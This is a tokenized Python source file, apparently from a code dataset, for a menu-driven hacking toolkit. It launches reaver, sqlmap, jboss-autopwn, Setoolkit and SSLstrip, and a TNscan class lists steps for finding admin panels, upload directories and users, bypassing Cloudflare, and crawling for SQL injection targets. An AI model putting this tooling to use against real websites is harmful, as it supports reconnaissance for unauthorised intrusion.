"[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "wire_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "1", ":", " ", " ", "rea", "ver", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "9", "9", ":", " ", "Back", " ", "To", " ", "The", " ", "Main", " ", "Menu", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice", "4_", "=_", "raw", "\\u", "input_", "(_", "\"", "Select", " ", "from", " ", "the", " ", "menu", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "choice", "4_", "==_", "\"", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "rea", "ver_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "4_", "==_", "\"", "9", "9", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "4_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "exp_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "1", " ", ":", " ", "jbo", "ss", "-", "autop", "wn", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "2", " ", ":", " ", "sql", "map", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "3", " ", ":", " ", "Shel", "lno", "ob", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "4", " ", ":", " ", "In", "url", "br", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "9", "9", " ", ":", " ", "Go", " ", "Back", " ", "To", " ", "Main", " ", "Menu", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice", "5_", "=_", "raw", "\\u", "input_", "(_", "\"", "Select", " ", "from", " ", "the", " ", "menu", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "choice", "5_", "==_", "\"", "2", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "sql", "map_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choice", "5_", "==_", "\"", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "'", "clear", "'_", ")_", ";_", "jbo", "ss_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choice", "5_", "==_", "\"", "3", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "shell", "noo", "b_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choice", "5_", "==_", "\"", "4", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "ifi", "nur", "l_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "5_", "==_", "\"", "9", "9", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "5_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sni", "f_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "1", " ", ":", " ", "Set", "ool", "kit", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "2", " ", ":", " ", "Ss", "ltr", "ip", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "9", "9", ":", " ", "Back", " ", "To", " ", "Main", " ", "Menu", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice", "6_", "=_", "raw", "\\u", "input_", "(_", "\"", "Select", " ", "from", " ", "the", " ", "menu", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "choice", "6_", "==_", "\"", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "seto", "ol", "kit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choice", "6_", "==_", "\"", "2", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "ssl", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choice", "6_", "==_", "\"", "9", "9", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "6_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "win_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "Ou", "r", " ", "Tool", " ", "Do", "es", " ", "Not", " ", "Supp", "ort", " ", "Window", "s", " ", ",", " ", "run", " ", "it", " ", "on", " ", "linux", " ", "or", " ", "install", " ", "a", " ", "virtual", " ", "machine", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "OS_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Choose", " ", "Opera", "ting", " ", "System", " ", ":", " ", "\\", "10", ";", " ", " ", " ", " ", "1", ")", " ", "Mac", " ", "OSX", "\\", "10", ";", " ", " ", " ", " ", "2", ")", " ", "Lin", "ux", "\\", "10", ";", " ", " ", " ", " ", "3", ")", " ", "Window", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "system_", "=_", "raw", "\\u", "input_", "(_", "\"", "choose", " ", "an", " ", "OS", " ", ":", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "system_", "==_", "\"", "2", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "system_", "==_", "\"", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "system_", "==_", "\"", "3", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "win_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "system_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "OS_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "exit_", "(_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "root_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "os_", "._", "getu", "id_", "(_", ")_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Are", " ", "you", " ", "root", "?", " ", "Ple", "ase", " ", "execute", " ", "as", " ", "root", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "unique_", "(_", "seq_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "get", " ", "unique", " ", "from", " ", "list", " ", "found", " ", "it", " ", "on", " ", "stack", "overflow", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "seen_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "seen_", "._", "add_", "(_", "x_", ")_", "or_", "x_", "for_", "x_", "in_", "seq_", "if_", "x_", "not_", "in_", "seen_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "Scr", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "clear", " ", "the", " ", "screen", " ", "in", " ", "case", " ", "of", " ", "GN", "U", "/", "Lin", "ux", " ", "or", " ", "\\", "10", ";", " ", " ", " ", " ", "windows", " ", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "system_", "(_", ")_", "==_", "'", "Lin", "ux", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "'", "clear", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "system_", "(_", ")_", "==_", "'", "Window", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "'", "cls", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu", " _", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "get", " ", "webs", "ites", " ", "from", " ", "server_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "get", " ", "wordpress", " ", "webs", "ites", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "get", " ", "jo", "om", "la", " ", "webs", "ites", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "find", " ", "admin", " ", "panels_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "find", " ", "ZI", "P", " ", "files", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "find", " ", "upload", " ", "director", "ies", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "find", " ", "users", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "bypass", " ", "cloudf", "lar", "e", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "find", " ", "the", " ", "server", " ", "banner", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "gre", "b", " ", "the", " ", "sql", "i", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "scan", " ", "for", " ", "sql", " ", "injection", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "cra", "w", " ", "SQL", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "scan", " ", "for", " ", "port", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "server", "ip_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "server", "ip_", "=_", "server", "ip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "get", "Site", "s_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "menu", "u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "choice_", "=_", "raw", "\\u", "input_", "(_", "'", " ", "Enter", " ", "choice", " ", "->", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "choice_", "==_", "'", "1", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Site", "s_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "2", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Jo", "om", "la_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "3", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Word", "press_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "4", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "find", "Pane", "ls_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "5", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "find", "Zip", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "6", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "find", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "7", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Users_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "8", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "gra", "b", "Sq", "li_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "9", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nb", "pages_", "=_", "int_", "(_", "raw", "\\u", "input_", "(_", "'", " ", "Enter", " ", "number", " ", "of", " ", "page", "s", " ", "to", " ", "crawl", " ", "(", "ex", " ", ":", " ", "100", ")", " ", "->", " ", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "crawl", "Sq", "li_", "(_", "nb", "pages_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "10", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ran_", "=_", "raw", "\\u", "input_", "(_", "'", " ", "Enter", " ", "range", " ", "of", " ", "port", "s", ",", " ", "(", "ex", " ", ":", " ", "1", "-1", "000", ")", " ", "->", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "port", "Scanner_", "(_", "1_", ",_", "ran_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "11", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "port", "Scanner_", "(_", "2_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "1", "2", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Server", "Banner", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "13", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cloudf", "lar", "e", "By", "pass", "er_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "'", "9", "9", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", " ", "Good", "bye", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "con_", "=_", "raw", "\\u", "input_", "(_", "'", " ", "Continu", "e", " ", "[", "Y", "/", "n", "]", " ", "->", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "con_", "[_", "0_", "]_", "._", "upper_", "(_", ")_", "==_", "'", "N", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "menu", "u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Site", "s_", "(_", "self_", ",_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "get", " ", "all", " ", "webs", "ites", " ", "on", " ", "same", " ", "server", "\\", "10", ";", " ", " ", " ", " ", "from", " ", "bing", " ", "search", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lista_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "page_", "<=_", "101_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bing", "_", "=_", "\"", "http", "://", "www", ".", "bing", ".", "com", "/", "search", "?", "q", "=", "ip", "%", "3", "A", "\"_", "+_", "self_", "._", "server", "ip_", "+_", "\"+", "&", "count", "=", "50", "&", "first", "=\"_", "+_", "str_", "(_", "page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "openb", "ing_", "=_", "urllib2_", "._", "urlopen_", "(_", "bing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "read", "bing", "_", "=_", "openb", "ing_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "find", "webs", "_", "=_", "re_", "._", "findall_", "(_", "'<", "h2", "><", "a", " ", "href", "=\"(", ".*?)", "\"'_", ",_", "read", "bing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "find", "webs", "_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "all", "noc", "lean", "_", "=_", "find", "webs", "_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "find", "all", "1_", "=_", "re_", "._", "findall_", "(_", "'", "http", "://", "(.*?)", "/'_", ",_", "all", "noc", "lean", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "idx_", ",_", "item_", "in_", "enumerate_", "(_", "find", "all", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "'", "www", "'_", "not_", "in_", "item_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "find", "all", "1_", "[_", "idx_", "]_", "=_", "'", "http", "://", "www", ".'_", "+_", "item_", "+_", "'/'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "find", "all", "1_", "[_", "idx_", "]_", "=_", "'", "http", "://'_", "+_", "item_", "+_", "'/'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lista_", "._", "extend_", "(_", "find", "all", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "page_", "+=_", "50_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 